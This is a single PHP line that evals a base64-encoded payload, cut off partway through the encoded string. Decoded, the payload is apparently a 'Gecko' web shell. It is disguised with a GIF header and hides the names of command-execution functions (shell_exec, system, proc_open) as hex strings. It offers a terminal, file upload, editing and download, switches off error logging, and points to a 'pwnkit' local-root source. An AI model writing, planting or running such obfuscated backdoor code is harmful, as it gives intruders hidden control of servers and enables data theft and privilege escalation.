echo eval("?>".base64_decode("CjwhLS0gR0lGODk7YSAtLT4KPCEtLSBHSUY4OTthIC0tPgo8IS0tIEdJRjg5O2EgLS0+CjwhLS0gR0lGODk7YSAtLT4KPCEtLSBHSUY4OTthIC0tPgo8IS0tIEdJRjg5O2EgLS0+CjwhLS0gR0lGODk7YSAtLT4KPCEtLSBHSUY4OTthIC0tPgo8P3BocAokQXJyYXkgPSBbCiAgICAnNzM2ODY1NmM2YzVmNjU3ODY1NjMnLAogICAgJzY1Nzg2NTYzJywKICAgICc3MDYxNzM3Mzc0Njg3Mjc1JywKICAgICc3Mzc5NzM3NDY1NmQnLAogICAgJzcwNzI2ZjYzNWY2ZjcwNjU2ZScsCiAgICAnNzA2ZjcwNjU2ZScsCiAgICAnNzA2MzZjNmY3MzY1JywKICAgICc3MjY1NzQ3NTcyNmUnLAogICAgJzczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2MzZmNmU3NDY1NmU3NDczJywKICAgICc2NzY1NzQ2Mzc3NjQnLCAvLyBnIGUgdCBjIHcgZCA9PiA5IAogICAgJzYzNjg2NDY5NzInLCAvLyBjIGggZCBpIHIgPT4gMTAKICAgICc3MDY4NzA1Zjc1NmU2MTZkNjUnLCAvLyBwIGggcCBfIHUgbiBhIG0gZSA9PiAxMQogICAgJzY5NzM3MzY1NzQnLAogICAgJzY2NzU2ZTYzNzQ2OTZmNmU1ZjY1Nzg2OTczNzQ3MycsCiAgICAnNWY2ZDYxNjQ1ZjYzNmQ2NCcsCiAgICAnMjQ1ZjUzNDU1MjU2NDU1MjViMjc1MzQ1NTI1NjQ1NTI1ZjRlNDE0ZDQ1Mjc1ZCcsCiAgICAnNjc2YzZmNjInLCAvLyBnIGwgbyBiID0+IDE2CiAgICAnNjk3MzVmNjY2OTZjNjUnLCAvLyBpIHMgXyBmIGkgbCBlID0+IDE3CiAgICAnNjk3MzVmNjQ2OTcyJywgLy8gaSBzIF8gZCBpIHIgPT4gMTgKICAgICc2OTczNWY3NzcyNjk3NDYxNjI2YzY1JywgLy8gaSBzIF8gdyByIGkgdCBlIGEgYiBsIGUgPT4gMTkKICAgICc2OTczNWY3MjY1NjE2NDYxNjI2YzY1JywgLy8gaSBzIF8gciBlIGEgZCBiIGwgZSA9PiAyMAogICAgJzY2Njk2YzY1NzM2OTdhNjUnLCAvLyBmIGkgbCBlIF8gcyBpIHogZSA9PiAyMQogICAgJzY3NjU3NDVmNjM3NTcyNzI2NTZlNzQ1Zjc1NzM2NTcyJywgLy8gdXNlciA9PiAyMgogICAgJzUzNDU1MjU2NDU1MjVmNTM0ZjQ2NTQ1NzQxNTI0NScsIC8vIFNlcnZlciBTb2Z0d2FyZSA9PiAyMwogICAgJzY2Njk2YzY1NmQ3NDY5NmQ2NScsIC8vIGYgaSBsIGUgbSB0IGkgbSBlID0+IDI0CiAgICAnNzQ2Zjc1NjM2OCcsIC8vIHQgbyB1IGMgaCA9PiAyNQogICAgJzZkNmI2NDY5NzInLCAvLyBtIGsgZCBpIHIgPT4gMjYKICAgICc2NjY5NmM2NTVmNjc2NTc0NWY2MzZmNmU3NDY1NmU3NDczJywgLy8gZiBpIGwgZSBnIGUgdCBjIG8gbiB0IGUgbiB0IHMgPT4gMjcKICAgICc2NjY5NmM2NTVmNzA3NTc0NWY2MzZmNmU3NDY1NmU3NDczJywgLy8gZiBpIGwgZSBwIHUgdCA9PiAyOAogICAgJzcyNmQ2NDY5NzInLCAvLyByIG0gZCBpIHIgPT4gMjkKICAgICc3NTZlNmM2OTZlNmInLCAvLyB1IG4gbCBpIG4gayA9PiAzMAogICAgJzY2Njk2YzY1JywgLy8gZiBpIGwgZSA9PiAzMQogICAgJzZkNzU2Yzc0Njk3MDYxNzI3NDJmNjY2ZjcyNmQyZDY0NjE3NDYxJywgLy8gbSB1IGwgdCBpIHAgYSByIHQgLyBmIG8gciBtIGQgYSB0IGEgPT4gMzIKICAgICc0NDRmNDM1NTRkNDU0ZTU0NWY1MjRmNGY1NCcsIC8vIHIgbyBvIHQgZCBvIGMgPT4gMzMgCiAgICAnNjg3NDc0NzA3MzNhMmYyZjc3Nzc3NzJlNjg2MTc4NmY3MjY0Njk3MzZjNjE2ZTY0MmU3NDY1NjM2ODJmNmM2ZjYzNjE2YzcyNmY2Zjc0MmY3MDc3NmU2YjY5NzQnIC8vIFNvdXJjZSBtYXliZT8gPT4gMzQKXTsKJGhpdHVuZ19hcnJheSA9IGNvdW50KCRBcnJheSk7CmZvciAoJGkgPSAwOyAkaSA8ICRoaXR1bmdfYXJyYXk7ICRpKyspIHsKICAgICRmdW5nc2lbXSA9IHVuaGV4KCRBcnJheVskaV0pOwp9CgppZiAoIWVtcHR5KCRfR0VUWydkb3dubG9hZCddKSkgewogICAgJG5hbWVOeWFmaWxlID0gYmFzZW5hbWUoJF9HRVRbJ2Rvd25sb2FkJ10pOwogICAgJHBhdGhGaWxlbnlhID0gJGZ1bmdzaVs5XSgpIC4gIi8iIC4gJG5hbWVOeWFmaWxlOwogICAgaWYgKCFlbXB0eSgkbmFtZU55YWZpbGUpICYmIGZpbGVfZXhpc3RzKCRwYXRoRmlsZW55YSkpIHsKCiAgICAgICAgLy8gRGVmaW5lIEhlYWRlcnMKICAgICAgICBoZWFkZXIoJ0NhY2hlLWNvbnRyb2w6IHB1YmxpYycpOwogICAgICAgIGhlYWRlcignQ29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2ZlcicpOwogICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInIC4gJG5hbWVOeWFmaWxlIC4gJyInKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeScpOwogICAgICAgIC8qKlpITm5jMlJtWjJWeWRITmtabWR6WkdabmMyUm1aM05rWm1kelpHWm4qKi8KICAgICAgICByZWFkZmlsZSgkcGF0aEZpbGVueWEpOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KCgo/PgoKPCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPgogICAgPHRpdGxlPkdlY2tvIFsgPD89ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsgPz4gXTwvdGl0bGU+CiAgICA8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9ImxvZ28ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPHNjcmlwdCBzcmM9J2h0dHBzOi8va2l0LmZvbnRhd2Vzb21lLmNvbS8wNTdiOWI1MTBjLmpzJyBjcm9zc29yaWdpbj0nYW5vbnltb3VzJz48L3NjcmlwdD4KICAgIDxzdHlsZT4KICAgICAgICBAaW1wb3J0IHVybCgnaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1QcmVzcytTdGFydCsyUCZkaXNwbGF5PXN3YXAnKTsKCiAgICAgICAgYm9keSB7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMxQTFBMUQ7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICB9CgogICAgICAgIGEgewogICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICB9CgogICAgICAgIHRyIHRoIHsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsKICAgICAgICAgICAgcGFkZGluZzogMTBweDsKICAgICAgICB9CgogICAgICAgIHRyIHRkOm50aC1jaGlsZCgzKSB7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICB9CgogICAgICAgIHRyIHRkIHsKICAgICAgICAgICAgcGFkZGluZzogMTBweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgfQoKICAgICAgICB0aGVhZCB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyOTI5MmU7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICB9CgogICAgICAgIHVsIHsKICAgICAgICAgICAgbGlzdC1zdHlsZTogbm9uZTsKICAgICAgICB9CgogICAgICAgIHVsIGxpIHsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgfQoKICAgICAgICBoMSB7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnTmFudW0gQnJ1c2ggU2NyaXB0JywgY3Vyc2l2ZTsKCiAgICAgICAgfQoKICAgICAgICB0Ym9keSB0cjpudGgtY2hpbGQoZXZlbikgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjkyOTJlOwogICAgICAgIH0KCiAgICAgICAgLnB3ZCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDVweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzI5MjkyZTsKICAgICAgICB9CgogICAgICAgIGZvcm0gbGkgewogICAgICAgICAgICBtYXJnaW46IDE1cHg7CiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAtNXB4OwogICAgICAgIH0KCiAgICAgICAgZm9ybSBsaSBpbnB1dFt0eXBlPSJmaWxlIl0gewogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZDsKICAgICAgICAgICAgcGFkZGluZzogMy41cHggNHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjkyOTJlOwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsKICAgICAgICB9CgogICAgICAgIC51cGxvYWQtc3VibWl0IHsKICAgICAgICAgICAgZmxvYXQ6IGxlZnQ7CiAgICAgICAgICAgIHBhZGRpbmc6IDYuNHB4IDUwcHg7CiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogMTBweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyOTI5MmU7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgY29sb3I6ICMxZTlmYzc7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDEuNXB4IDEuNXB4ICMzMDMwMzg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICB9CgogICAgICAgIC51cGxvYWQtc3VibWl0OmhvdmVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Q1ZGJkNjsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgIH0KCiAgICAgICAgLmxpbmstc2hlbGw6aG92ZXI6OmFmdGVyIHsKICAgICAgICAgICAgY29udGVudDogIiI7CiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCB3aGl0ZTsKICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgIHBhZGRpbmctYm90dG9tOiA1cHg7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IC03cHg7CiAgICAgICAgICAgIGFuaW1hdGlvbi1uYW1lOiBsaW5rLXNoZWxsOwogICAgICAgICAgICBhbmltYXRpb24tZHVyYXRpb246IDAuNnM7CiAgICAgICAgfQoKICAgICAgICBAa2V5ZnJhbWVzIGxpbmstc2hlbGwgewogICAgICAgICAgICBmcm9tIHsKICAgICAgICAgICAgICAgIHdpZHRoOiAwOwogICAgICAgICAgICB9CgogICAgICAgICAgICB0byB7CiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLnRvb2wtbWVudSBsaSB7CiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IG5vbmU7CiAgICAgICAgICAgIHBhZGRpbmc6IDEzcHggN3B4OwogICAgICAgIH0KCiAgICAgICAgLnRvb2wtbWVudSBsaSBhIHsKICAgICAgICAgICAgcGFkZGluZzogN3B4IDMwcHg7CiAgICAgICAgICAgIGNvbG9yOiAjMWU5ZmM3OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjkyOTJlOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAzcHg7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDEuNXB4IDEuNXB4ICMzMDMwMzg7CiAgICAgICAgfQoKICAgICAgICAudG9vbC1tZW51IGxpIGE6aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZDVkYmQ2OwogICAgICAgICAgICBjb2xvcjogYmxhY2s7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDEuNXB4IDEuNXB4ICNkNWRiZDY7CiAgICAgICAgfQoKICAgICAgICAubGlzdC10b29sIHsKICAgICAgICAgICAgcGFkZGluZzogMXB4OwogICAgICAgIH0KCiAgICAgICAgLnNldHRpbmdzIHsKICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0OwogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IC0yMDBweDsKCiAgICAgICAgfQoKICAgICAgICAuc2V0dGluZ3Mgc2VsZWN0IHsKICAgICAgICAgICAgcGFkZGluZzogNS41cHggMzVweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzMwMzAzODsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICB9CgogICAgICAgIC5zZWxlY3Qtc3VibWl0IHsKICAgICAgICAgICAgcGFkZGluZzogNi41cHggNTBweDsKICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAxMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzAzMDM4OwogICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4OwogICAgICAgIH0KCiAgICAgICAgLnNlbGVjdC1zdWJtaXQ6aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZDVkYmQ2OwogICAgICAgICAgICBjb2xvcjogYmxhY2s7CiAgICAgICAgfQoKICAgICAgICAuYWN0aW9uLWdlY2tvOmhvdmVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Q1ZGJkNjsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgIH0KCiAgICAgICAgLnRvb2wtbWVudS1oZWFkZXIgewogICAgICAgICAgICBtYXJnaW46IC0xM3B4IDBweDsKICAgICAgICB9CgogICAgICAgIC5jcmVhdGUgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDAsIDAsIDAsIDAuMyk7CiAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICAgICAgICAgIHRvcDogMDsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgaGVpZ2h0OiAxMDB2aDsKICAgICAgICAgICAgd2lkdGg6IDEwMHZ3OwogICAgICAgICAgICBhbmltYXRpb246IG1vZGFsLWJveDsKICAgICAgICAgICAgYW5pbWF0aW9uLWR1cmF0aW9uOiAwLjVzOwogICAgICAgICAgICBhbmltYXRpb24tZmlsbC1tb2RlOiBib3RoOwoKICAgICAgICB9CgogICAgICAgIEBrZXlmcmFtZXMgbW9kYWwtYm94IHsKICAgICAgICAgICAgZnJvbSB7CiAgICAgICAgICAgICAgICBvcGFjaXR5OiAwOwogICAgICAgICAgICB9CgogICAgICAgICAgICB0byB7CiAgICAgICAgICAgICAgICBvcGFjaXR5OiAxOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAubW9kYWwgewogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgICAgICB3aWR0aDogNjAwcHg7CiAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTsKICAgICAgICAgICAgcGFkZGluZzogMThweDsKICAgICAgICB9CgogICAgICAgIC5tb2RhbCBhIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzI5MjkyZTsKICAgICAgICAgICAgcGFkZGluZzogOHB4IDE1cHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICB9CgogICAgICAgIC5tb2RhbCB1bCB7CiAgICAgICAgICAgIGZsb2F0OiByaWdodDsKICAgICAgICB9CgogICAgICAgIC5tb2RhbCB1bCBsaSB7CiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZTsKICAgICAgICB9CgogICAgICAgIC5idG4tbW9kYWwgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjkyOTJlOwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICAgICAgcGFkZGluZzogOHB4IDE1cHg7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICB9CgogICAgICAgIC5tb2RhbCBpbnB1dFt0eXBlPSJ0ZXh0Il0gewogICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgaGVpZ2h0OiAzMHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAzcHg7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIGJsYWNrOwogICAgICAgIH0KCiAgICAgICAgLmZ3LWJvbGQgewogICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsKICAgICAgICB9CgogICAgICAgIC5maWxlLXNpemUgewogICAgICAgICAgICBjb2xvcjogIzFlOWZjNzsKICAgICAgICB9CgogICAgICAgIHRoIHsKICAgICAgICAgICAgY29sb3I6ICMxZTlmYzc7CiAgICAgICAgfQoKICAgICAgICAuZmEtZm9sZGVyIHsKICAgICAgICAgICAgY29sb3I6IG9yYW5nZTsKICAgICAgICB9CgogICAgICAgIC5mYS1maWxlIHsKICAgICAgICAgICAgY29sb3I6ICMxZTlmYzc7CiAgICAgICAgfQoKICAgICAgICAudGVybWluYWwtY29udGVudCB7CiAgICAgICAgICAgIHotaW5kZXg6IDEwOwogICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgICAgIHRvcDogMDsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgcmlnaHQ6IDA7CiAgICAgICAgICAgIGJvdHRvbTogMDsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGhlaWdodDogMTAwdmg7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMCwgMCwgMCwgMC41KTsKICAgICAgICAgICAgYW5pbWF0aW9uOiBtb2RhbC1ib3g7CiAgICAgICAgICAgIGFuaW1hdGlvbi1kdXJhdGlvbjogMC41czsKICAgICAgICAgICAgYW5pbWF0aW9uLWZpbGwtbW9kZTogYm90aDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgfQoKICAgICAgICAudGVybWluYWwtYm9keSB7CiAgICAgICAgICAgIG1hcmdpbjogYXV0bzsKICAgICAgICAgICAgbWFyZ2luLXRvcDogNjBweDsKICAgICAgICAgICAgei1pbmRleDogMjA7CiAgICAgICAgICAgIHdpZHRoOiA5MCU7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHdoaXRlOwogICAgICAgICAgICBoZWlnaHQ6IDY1dmg7CiAgICAgICAgICAgIGNvbG9yOiBibGFjazsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgIH0KCiAgICAgICAgLnRlcm1pbmFsLWJvZHkgaGVhZGVyIHsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBwYWRkaW5nOiA0cHg7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxQTFBMUQ7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1ib2R5IGhlYWRlciBhIHsKICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0OwogICAgICAgICAgICBjb2xvcjogYmxhY2s7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogbGFyZ2U7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHdoaXRlOwogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICAgICAgICAgIHotaW5kZXg6IDExOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IC00NXB4OwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDMwcHg7CiAgICAgICAgfQoKICAgICAgICAudGVybWluYWwtYm9keSBoZWFkZXIgYTpob3ZlciB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyOTI5MmU7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzMwMzAzODsKICAgICAgICB9CgogICAgICAgIC5vdXRwdXQtdGVybWluYWwgewogICAgICAgICAgICB3aWR0aDogOTkuNSU7CiAgICAgICAgICAgIGhlaWdodDogMTAwJTsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTsKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1pbnB1dCB7CiAgICAgICAgICAgIHdpZHRoOiA5MCU7CiAgICAgICAgICAgIHBhZGRpbmc6IDZweDsKICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDFweDsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQgYmxhY2s7CiAgICAgICAgfQoKICAgICAgICAudGVybWluYWwtc3VibWl0IHsKICAgICAgICAgICAgbWFyZ2luOiAyLjVweDsKICAgICAgICAgICAgcGFkZGluZzogNy41cHggMjVweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYmxhY2s7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAzcHg7CiAgICAgICAgfQoKICAgICAgICAucHdkLWJvZHkgewogICAgICAgICAgICBwYWRkaW5nOiAxNXB4IDhweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgfQoKCiAgICAgICAgLmJvcmRlciB7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIGJsYWNrOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAycHg7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1ib3ggewogICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBoZWlnaHQ6IDEwMHZoOwogICAgICAgICAgICB0b3A6IDA7CiAgICAgICAgICAgIGJvdHRvbTogMDsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgcmlnaHQ6IDA7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMCwgMCwgMCwgMC41KTsKICAgICAgICAgICAgei1pbmRleDogMTsKICAgICAgICB9CgogICAgICAgIC5maWxlLWNvbnRlbnQgewogICAgICAgICAgICB3aWR0aDogOTAlOwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgaGVpZ2h0OiA3MCU7CiAgICAgICAgICAgIG1hcmdpbjogYXV0bzsKICAgICAgICAgICAgbWFyZ2luLXRvcDogMjBweDsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgIH0KCiAgICAgICAgLmZpbGUtY29udGVudCB0ZXh0YXJlYSB7CiAgICAgICAgICAgIHdpZHRoOiA5OS41JTsKICAgICAgICAgICAgaGVpZ2h0OiA3MHZoOwogICAgICAgIH0KCiAgICAgICAgLmZpbGUtaGVhZGVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzFBMUExRDsKICAgICAgICAgICAgcGFkZGluZzogMTVweDsKICAgICAgICB9CgogICAgICAgIC5maWxlLWhlYWRlciB1bCB7CiAgICAgICAgICAgIGxpc3Qtc3R5bGU6IG5vbmU7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1oZWFkZXIgbGkgewogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7CiAgICAgICAgICAgIG1hcmdpbjogMHB4IDMwcHg7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1oZWFkZXIgbGk6bnRoLWNoaWxkKDMpIHsKICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0OwogICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IC01cHg7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1oZWFkZXIgbGk6bnRoLWNoaWxkKDMpIGEgewogICAgICAgICAgICBjb2xvcjogYmxhY2s7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogbGFyZ2U7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHdoaXRlOwogICAgICAgICAgICB6LWluZGV4OiAxMTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDMwcHg7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1oZWFkZXIgbGk6bnRoLWNoaWxkKDMpIGE6aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjkyOTJlOwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMzMDMwMzg7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1oZWFkZXIgbGkgYnV0dG9uIHsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOwogICAgICAgICAgICBiYWNrZ3JvdW5kOiB3aGl0ZTsKICAgICAgICAgICAgZm9udC1zaXplOiAxNXB4OwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB3aGl0ZTsKICAgICAgICAgICAgcGFkZGluZzogMTBweCAxNXB4OwogICAgICAgICAgICBtYXJnaW46IC0xMHB4IC0xNXB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgfQoKICAgICAgICAubGluay1yZW5hbWUgewogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDE1cHg7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHdoaXRlOwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIG1hcmdpbjogLTEwcHggLTE1cHg7CiAgICAgICAgfQogICAgPC9zdHlsZT4KPC9oZWFkPgo8P3BocApAc2V0X3RpbWVfbGltaXQoMCk7CkBjbGVhcnN0YXRjYWNoZSgpOwpAaW5pX3NldCgnZXJyb3JfbG9nJywgTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CgoKZnVuY3Rpb24gUmVkaXJlY3QoJHVybCwgJHBlcm1hbmVudCA9IGZhbHNlKQp7CiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJHVybCwgdHJ1ZSwgJHBlcm1hbmVudCA/IDMwMSA6IDMwMik7CgogICAgZXhpdCgpOwp9CgoKCmlmIChpc3NldCgkX0dFVFsnZGlyJ10pKSB7CiAgICAkY2RpciA9IHVuaGV4KCRfR0VUWydkaXInXSk7CiAgICAkZnVuZ3NpWzEwXSgkY2Rpcik7Cn0gZWxzZSB7CiAgICAkY2RpciA9ICRmdW5nc2lbOV0oKTsKfQokZ2V0X2N3ZCA9ICRmdW5nc2lbOV0oKTsKJHNjZGlyID0gJGZ1bmdzaVsxNl0oInsuWyEuXSx9KiIsIEdMT0JfQlJBQ0UpOwoKPz4KCjxib2R5PgogICAgPGRpdiBjbGFzcz0ibGlz